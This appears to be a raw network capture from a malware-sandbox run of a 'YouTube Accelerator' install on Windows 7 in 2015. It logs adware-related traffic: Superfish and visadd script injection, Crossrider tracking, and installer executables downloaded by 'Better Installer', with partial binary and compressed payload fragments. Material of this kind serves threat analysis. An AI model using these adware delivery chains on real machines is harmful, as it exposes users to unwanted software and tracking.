alive..Content-Encoding: gzip..Expires: Thu, 12 Feb 2015 09:34:02 GMT.
.Cache-Control: max-age=14400..Last-Modified: Sat, 1 Jan 2011 00:00:00
 GMT..Cache-Control: public..clientCountry: UA..Access-Control-Allow-O
rigin: *............e....0.....s.i.iko......t.`IK.UA..V.Q...a...C..-..
...r.T<C..L..y........R."....M#`Jt.#.....E.~...hU..*..<.q.hC.9.L
....`....>................j.F5.M/5!...Z.M.%:4.....(uO.,.P.h.....ont>....


GET /ws/tu.action?userId=a808235d-2e33-63b7-f57c-3a35b2c1abef-2de&referrer=&page_url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&page_title=Thank you for Installing YouTube Accelerator HTTP/1.1


Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.superfish.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:34:02 GMT
Content-Type: text/javascript;charset=UTF-8
Content-Length: 14
Connection: keep-alive
Set-Cookie: JSESSIONID=2DE47187A3725B3547CEF43C257AFAD8; Path=/ws
clientCountry: UA
Access-Control-Allow-Origin: *
(.{ r : 0 } );HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 0
5:34:02 GMT..Content-Type: text/javascript;charset=UTF-8..Content-Leng
th: 14..Connection: keep-alive..Set-Cookie: JSESSIONID=2DE47187A3725B3
547CEF43C257AFAD8; Path=/ws..clientCountry: UA..Access-Control-Allow-O
rigin: *..(.{ r : 0 } );....


GET /ws/side_slider/main.js?ver=2015.2.11.10.1 HTTP/1.1


Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.superfish.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:34:03 GMT
Content-Type: application/x-javascript
Last-Modified: Tue, 10 Feb 2015 10:42:13 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Sun, 08 Mar 2015 05:34:03 GMT
Cache-Control: max-age=2073600
Cache-Control: public
Access-Control-Allow-Origin: *
Content-Encoding: gzip
d2d.............Zmo.6.......4.........u.....K.....n..J\.....%.....33$E
.............<3.2X.y..E..?......>F.w.....#<..Y..M.e.o*9.VQV.]
z]....4O.....s~.....J#bz..m....m..<.e.Q....."..............;f......
..9.?X.Y....r........Xb...w#..Z.z...T ....X..._.ygM.d...Q..........;QP
....f.*..9..*.....<V^e(......-.V...k.....(.UuL..C..u....>OE....(
.,..."i...G..R.0.....vq.S.#..R..*..3...K6.......j....:d......R. O?.y~.
|....{?...^.....a.U...p...;.l..........G..<wh..AY.%.8,.'..F...6..."
J7).Rj..m.fpyU.....o....2 p....X.. }..[0..X....tc5.f*.n..E.....s..j.a 
j..,._5.B...R>ce...SRj.K...U......i.|r.i.*..#@[email protected]..$.y....B
._.....Z.s.p.X..][email protected]..&m........Q.....L."[email protected],....f.e....
Ax>.<.........."&.B7.D.S[..:;XMkrD...).q..S...4m.........iB..n.M
.....y...q....N.&........ ........VF....v.o..|..y/.\.x`.'.`%)...;..S..
so].U...( .U...$2.....H..^:8....&....~...>W..pqa..p.9....Jp.R......
....!..g...X.......\....&..x3. ....s.u..$.M.'.M..1.*!x5E\[email protected]..
.............z..H'.y...~.....d0..9.*...l..=[....(...&D.............(V.
S.......o..<.NwQxp.v~...SE7..z......7.(s..X......FI...`y...}.a.C..P
.......x..J..uZ..|D{. [email protected]...,j=...1h.9......U..G1%.EI..9V...H
.|.....wb.O.K......@..}.*.<..d ...........3NK..B..0gg..w..w.."Z..;.
p{.EI..y..gQM...j:.y..."...aT...#h.T.xe...\.p.,.....(E...[..........u.
...........fx.mP..a...l...B".A.bqL...H........D#V..c2T..R/..........(e
.>..!..&d.9..5.._....q?.....\..F*....'X..........2..:...T.zs.......
:..3............/^...g.wn.X...=,...[Z...}...d*S.N....j....Q.,.,.?.
<<< skipped >>>

GET /ws/css/main.css?v=2015.2.11.10.1 HTTP/1.1


Accept: text/css
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.superfish.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:34:05 GMT
Content-Type: text/css
Last-Modified: Tue, 10 Feb 2015 10:42:13 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Sun, 08 Mar 2015 05:34:05 GMT
Cache-Control: max-age=2073600
Cache-Control: public
Access-Control-Allow-Origin: *
Content-Encoding: gzip
2351.............=ks.G......9...qL.OQR*uG.VV..........Ci.....G\...h4..
=.3..w..N..kH..h....gv.^mv.~....n......W...y.Z.,..:.6.....v....].....u
....x.=..Z.N.g.j..v?......].|4.....l..w_}.....|p.YoV..t.M.&...2If.v...
<O&...-.5I....ly..._..l.-o...j3K7...l..=O...J..6.nnw..].l.7.rx.....
?.[..e.A.`.e....E.L.........Cc............E.....L..}.t.X.6..6.d;Bx..v.
.....!...|...^..w....w?:.O..lV..L...........v....v...ll.........~A....
..v.q..  "....w..]c.NW...Q)...........j.......[...e...fD,F......v.....
n.?$.F21^...........6;6.lW........[.aUX.6.v.ABt..7.x.H..n...x......O.F
}..F....`....|)..$.Ws..~J5m..rF#.......?h6....cE...o....v.............
.t..;6..%..d.At......(R. ..> i..].,.9I.(.C.M....Q?I|. u.....>...
.*....g.~{...n.2j......\/..AU2u....i..5...|.a..!.M...K./#..k.\.!..1j..
R.Y..Zhh}..........R{.....4......l..=.....t....[.2..!.#.j..).Q...OR...
..m....<..<.....)[email protected]#.......qL........^..h#.....g.........O.
*..i.7..{fKc.....W...\.... h.3CJ..G'...8.5}Ei...S y..V.#.....l.P..}.E.
...m.*}..Yu...RIs[.j..o.%...O...%..F?..%.*\.....V..B.....IMhma..D.?.T.
..f.....n.2=..#.n.K....<b..NP..`.5.s.@}...x.....\..<-p..........
...3.yu..2.@,aJ4.tP%.....#b/[email protected]..,]......y....
b.Z...3Q.X..2....p....p.z..J.A.......X..9.DK!.kr0.kF......H .R..d..(..
....."..6..-..}5.j.....@.......&..s...{.k./fMn....*2.....q......`,..N.
...$!.......YS.........jc....K(.h..0.$............}..........x.q....9.
.2'Q.:..Q.....f,O...8O...`.i.-F-.c.....q%Z..".=...R.....}N.."...|}....
..Bn....5....9..f7.g.[....]TX.p....a8Us...}.].....T.......H..bRe.c
<<< skipped >>>


GET /utility.gif?report=fdata&f=3&c=820&i=30&n=ms_download_success&rnd=4736 HTTP/1.1
Host: errors.crossrider.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.6.0
Date: Thu, 12 Feb 2015 05:33:46 GMT
Content-Type: image/gif
Content-Length: 43
Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT
Connection: close
GIF89a.............!.......,...........L..;..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=107085-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 178473
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 107085-285557/285558
Age: 182
X-Cache: Hit from cloudfront
Via: 1.1 69ae15d1338b64299d3942a44fc1fb96.cloudfront.net (CloudFront)
X-Amz-Cf-Id: YfbBE14901Ywt66FfyH8z2nyIIBbWMGzjEvHOU3fwO6WO95QzGeWBA==
...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].
<<< skipped >>>


GET /gen/helper.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: d13j8bqw-l8bu4n1j.netdna-ssl.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:58 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: Express
Cache-Control: public, max-age=3600
Last-Modified: Thu, 12 Feb 2015 04:19:01 GMT
ETag: W/"10cd1-1339231431"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Encoding: gzip
477d...............r].u%...O....J.)....%%..........\.3..@.....^.K.%O..
}..... .b.l9....{.....k...............z.yp:......g....w.vg...~}.....dz
w.U.._~....[.N...'G.}...}{0~5..~..G....tt...G_M......../.........?....
G..7...{x.`.....}......y.).[{m..W&M...O....../?......:..tz.}5.........
._uq..._....o~yp4.u....g..0=..t.......e............hz..}vpv.2.?..Qw...
..g...'.,W......7?O]..].....r..d.....e..$e..S..UR.C...{v.ps.......N...
.Gg.....n....q.N......O.z.^.$...m........7}............o...M..........
s?......h.....E]4yU.....N.C.....t...-.....m..n....m......~:...[.2.....
..o.O...G..]ur....../.k.!..nL..n.~.....v...M.ls{.6SY.Y..u..C.$I...X.M.
.U..<).!).......y....S..S3..1M....y?W..vyV..T7...m.n......^wp..5..2
B...?~.|.{.F.r..........?.?;y0}w.....D.......,..w....y.iu.E7...n_....?
......-.(]?'m.O.X..0VcY.y..Y.w. ..)..q..1....K.............G.cW.....CV
.u..S^...N..h..4b.q*.!....zso.....J.y....J.v*Kc.....).$.).....&...U...
.>.\.?.m..y3W.........n.& ....h..5....SU..\.sU.}Vt.....G.,.........
.5....r....}......M..u3.iV..4.....qR3.(.....&K.'Y..I.t.0l...s.C.z$m=9Y
f....o..>k.$...T'q.............h.t..RW.1g.........U5ty;...Xg...e...
....`.....5C.....i.k7..9..}.i9..<L.iZ....y...u\...U1uu..MR{.u..e.c.
1....v.[I..h....&..#...H......z.x.].{.S..U.w.....Om..}|.........W..;&l
t;....e.'CS..<......[..|..O.[o...6^.Q../sgC...l.......&...9.....62.
M..l0v........]....^......9.....2..e5K..cU.eV[......l.yv.7..&IV.s..SQ.
s.[g. q..........fV..g..a.,.!...c.M...ccO lT..q.=~..lg.e...:.D...m...:
K.)}Q$.ZV.....>....~.....?...{..v.9.&..A..3.`[>......0......
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=281428-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 40204
Connection: keep-alive
Date: Sun, 08 Feb 2015 05:31:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 281428-321631/321632
Age: 92
X-Cache: Hit from cloudfront
Via: 1.1 69ae15d1338b64299d3942a44fc1fb96.cloudfront.net (CloudFront)
X-Amz-Cf-Id: k_Qbd6MclD61o8r2tikjF_f1nRGLWYI62AGJ-9eD7bv0_mDGe9fCkA==
.h2..\...........................g2..]...........................f2..[
...............................I3') * )))*))()*   ,6J!54 CBA...jYPQTVT
SkllZTTXRTUiHceWda/..i...u....`..................._<bm....t^..}zy|y
x~....{|yvrrwsqpon....................................................
......................................................................
......................................................................
...................................................................(..
..... ...................................|WR......Q3..O1...b.sP?..Q2..
Q2..Y9..^G......`[email protected]................
..b...c...c...d...c...d...d...s ..x(...>..zZ..........g........x...
$...&...*... ... ...,...-...-.../...0...4...6...I.....................
......................................................................
..~~~.}}}.............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1


User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Age: 182
X-Cache: Hit from cloudfront
Via: 1.1 69ae15d1338b64299d3942a44fc1fb96.cloudfront.net (CloudFront)
X-Amz-Cf-Id: h9qgkjlwD3cUvFryEhHB-5o-u3h3xHcu5dWTsilv6vfjHZg_hVXodQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /script/14567725608/preload.js?subid=F2Cwsmtycl1-572a1153-8705-4466-affe-b5bad540fde1 HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: cdn.visadd.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:59 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d285191a05d25c11155636fb3738cd7031423719239; expires=Fri, 12-Feb-16 05:33:59 GMT; path=/; domain=.visadd.com; HttpOnly
Etag: W/"f347f8e7f1884544de8d1127b367a743d8a6154a"
Cache-Control: public, max-age=14400
CF-Cache-Status: MISS
Expires: Thu, 12 Feb 2015 09:33:59 GMT
Server: cloudflare-nginx
CF-RAY: 1b766a1f51870f8d-FRA
Content-Encoding: gzip
b49..............ko.6....B..T)~..}X...m.W`{=...\.'..m..E.I.I......D.vv
....dE........*..UAx..`O...'.T......{..YA.l....O......^]]..........TSO
v........$.T.E..h....z..[......WWx>.........../_^...\.....~1[.d~Jj.
.V.Wo^...g./_<...f..1....Up......6.H..*..V....9..'[email protected]
.;..vJ Ix....d..)...WcQ/.".f.....[,........q.....<"r.#.'L..c...^L.B
Z.Fr.1.t'...a..X......iH).a.%..q....m1..e........5c..$ ..%cw...r.Y....
G.aL-.d.;......jY/.......KR.\o..KV.....;.#..j5.=.....B.....8...\.b.w..
`.o.~...Z.cq....K#.......wxM....c.. .b....'B.\.....EU.......T....'....
........$|.I...hdvOx...A...{.z.....W.......m.., h...Zr.@;.bD%Z.......'
F [email protected]^oI%'%.1.3...C....2........#.....
g=)I.....-.....Nd.....].|n.]...W....$.0.Z?=U....d\....^-..`...*.)....T
-...a.Rh.%:...... ..?7..H.y3.m..........e..........]...?t.....9.E.G>
;`.a.Q'.....tYK..p(?.%y............i. =....yZ....i.d.cx.,'x.#U.~C."...
...g#...I.;....x.7.%..!..C.....F.f.i.l......6..5M.oH~...I.AY......1..p
..Q(!. .$ZXi......o.I.Y.zR.{b....}`{..cA..,.'...$@..~.b.B..........$..
.?...............M..F......Z....U...YL#..."..w. yM..J....Rl<~....2.
....{.B....L..!W.lS.:.oA.9.W.0...Z.4.......m.&.........Wdf...X..,.....
kbA.{...u..Y..~........".a.1..;.....P!hg...H...XB...(/j.,.f.F.......&S
r....E..F.q.;..(....r"R..........)B....:.N2....BF.BH.....j.D(EQ.c...s.
SY..p*R....].5V...DU.........*....y.$.HU......Z.....i:S.L.........a. v
..Sq..T|.........)^.Z...i...>(....,...&..,....Ft.6.G........|..Au..
.;^...1.D.P..;.$.Y.:[email protected]. ..........K..iH.CZ&....WT.
<<< skipped >>>

GET /script/layer.js?pid=14567725608&ln=en HTTP/1.1


Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: cdn.visadd.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:59 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d285191a05d25c11155636fb3738cd7031423719239; expires=Fri, 12-Feb-16 05:33:59 GMT; path=/; domain=.visadd.com; HttpOnly
Etag: W/"44806a0151f2526619806f1f1e039f1d5e5eb0b5"
Cache-Control: public, max-age=14400
P3p: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA"
CF-Cache-Status: HIT
Expires: Thu, 12 Feb 2015 09:33:59 GMT
Server: cloudflare-nginx
CF-RAY: 1b766a21b1fe0f8d-FRA
Content-Encoding: gzip
600a.............}{..............%....._....M.l..sv...$B.b.TI.....l...
. ....MR.....{.#....`0...`..o.Y%...^....-.."...r..e......... .".wU.jSd
.j)...U.e?..`.yq........~0KYY..e........g.P}|.r..v.o.....&|.2........]
.".w......{?.{....^x.....Lu.....]-xuh..........t.2:.u.*..g..rG...t....
.2..C...[.a.NE...X...Hd...%.....K"G../s.....A..).Y?......=`..U|...P...
l.z......"...K..M..|.......nW....x...#.*_,.[..<}.B....Y.ULd.iII....
....I.F..D.W...m....8...6iztss......^..E.....%.....&<.......e.....z
..$...f..6M....%........b...BT..6........eI...d..49c)..c.=.2~.)..-xU..
.TZ..vt.....K. IV.9(.,.8ci.c].l......H...Oy.;..6......2.uH.E..PH5.A.S.
.1.L.,I&........,[p......c.....,M.s.|}....6.7..4e.i..W5...J...... ASi0
&.Z..,....^..k.2....<...J.Hd./2.jH..C./..I..W.j..x...L......hQ..=D.
..V......T.n.a..[z......Y.C.p.g..J.Vl..7........Ms.,t..5 J.:.4.ax..=..
')..[.fK.&....r...8->.hfB.&..D!...P.2...E.@.......'....!.PY..X. .6.
K.......i..f..kn..(...-,.1.{V-. v..$#......H.|[email protected]
|J...\\...g....;.H..L...k..?..V.i./..]Zv36..yx..a.....y....).}. .....L
.......bdCh%.E8xS..tL.0\.....O8......u89g...8....P..q.:...Au....~'..{.
..&.......G........f8R......{.c...Ix5..........y......^.%..).R.a.....W
......N......M.V,P.....a...^... y..R-..O..M....%.....C.!.&.Bj.i{.....c
 ..?.......|.e...X.c KW|.....Ha...p.n.TM..u..;....E..iF.>g.......nS
j...v'..":.<......./.x.f9.e(.7..Y....)........B].e.J'.. .. N...j.^.
N....F..9....%lC..ay..#.....<....<......5..6Y.H..Ij..Sc...B..^m.
.*..a..C......|x..|.`...z.bm...f..zT*V...NEUF....xO.L %.}HV2.H0U..
<<< skipped >>>


GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?c491f950816d5df1 HTTP/1.1
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 03 Jul 2014 23:34:12 GMT
If-None-Match: "0b2464b1797cf1:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified
Content-Type: application/octet-stream
Last-Modified: Thu, 03 Jul 2014 23:34:12 GMT
ETag: "0b2464b1797cf1:0"
Cache-Control: max-age=86400
Date: Thu, 12 Feb 2015 05:33:58 GMT
Connection: keep-alive
HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Thu, 03 Jul 2014 23:34:12 GMT..ETag: "0b2464b1797cf1:0"..C
ache-Control: max-age=86400..Date: Thu, 12 Feb 2015 05:33:58 GMT..Conn
ection: keep-alive..



GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1
Cache-Control: max-age = 812
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 23 Oct 2014 05:05:32 GMT
If-None-Match: "a2f3ff97eeecf1:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 200 OK
Content-Type: application/pkix-crl
Last-Modified: Wed, 07 Jan 2015 06:02:43 GMT
Accept-Ranges: bytes
ETag: "88c4768d3f2ad01:0"
Server: Microsoft-IIS/8.5
VTag: 438331116300000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Content-Length: 813
Cache-Control: max-age=900
Date: Thu, 12 Feb 2015 05:34:31 GMT
Connection: keep-alive
0..)0......0...*.H........0_1.0.....&...,d....com1.0.....&...,d....mic
rosoft1-0 ..U...$Microsoft Root Certificate Authority..150106214825Z..
150407100825Z0.0...a......../..100208014912Z._0]0...U.#..0......`@V'..
%..*..S.Y..0... .....7.......0...U......(0... .....7......150406215825
Z0...*.H..............vQ..r..L.Q.N..=#.......V;..r../\.m..<.."...F/
U....(:.....xm.....P.e.F..BE8......=...G....6t:...?...L..B.v..p.M.....
...z..Q.%J.6..I.......8...U. .g..=T=K....L..$w...^....y~..-a.'...*s#N.
o..Qs.$h..:duV'~....8.6..w..b3.... .~)...|.I.y".>R.nJq.ws...3.....f
}.E)\......EB.d\.2.....h...lMjT.7..lj.'lj.b....".L.Os6{[email protected].|7z
.. ......>..Q...([email protected]\]#..Y.*.......T. .C.....A'..
5FW.ETDvX..tE.....g5.....&..&.....x.^H;...../7..'9.t.I&<[.HX.j....Q
w......}...qy3..q`<.....LB.9w|....;..Qw..a ..=.C.:.........


GET /pki/crl/products/WinPCA.crl HTTP/1.1


Cache-Control: max-age = 900
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Mon, 06 Oct 2014 05:06:02 GMT
If-None-Match: "3e1c83923e1cf1:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 200 OK
Content-Type: application/pkix-crl
Last-Modified: Sun, 21 Dec 2014 06:03:02 GMT
Accept-Ranges: bytes
ETag: "d2e35dc7e31cd01:0"
Server: Microsoft-IIS/8.5
VTag: 791141515700000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Content-Length: 561
Cache-Control: max-age=900
Date: Thu, 12 Feb 2015 05:34:31 GMT
Connection: keep-alive
0..-0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U
....Redmond1.0...U....Microsoft Corporation1 0)..U..."Microsoft Window
s Verification PCA..141220223154Z..150321105154Z._0]0...U.#..0.......p
............<.J0... .....7.......0...U......30... .....7......15032
0224154Z0...*.H.............h.~oH#i.J.vh_.....A'B..g...........F....9c
.{[email protected].^ 4.r..Wv.Q.0.w..j....c9..w....I..%.~.l..F.......xo....
_...o...7BR.;<..\R/ .....b.(....~..]|.v.u.i.X.B....I......./*...P..
A..fi.}& .x.v{TFP[.G......A......L.o...)R.......V.u..V.../.Q..(L.]....
.uki~......


GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1


Cache-Control: max-age = 900
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Sat, 04 Oct 2014 05:06:12 GMT
If-None-Match: "58cddbea90dfcf1:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 200 OK
Content-Type: application/pkix-crl
Last-Modified: Fri, 19 Dec 2014 06:02:00 GMT
Accept-Ranges: bytes
ETag: "9a9a44d511bd01:0"
Server: Microsoft-IIS/8.5
VTag: 438589357000000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Content-Length: 550
Cache-Control: max-age=900
Date: Thu, 12 Feb 2015 05:34:31 GMT
Connection: keep-alive
0.."0......0...*.H........0w1.0...U....US1.0...U....Washington1.0...U.
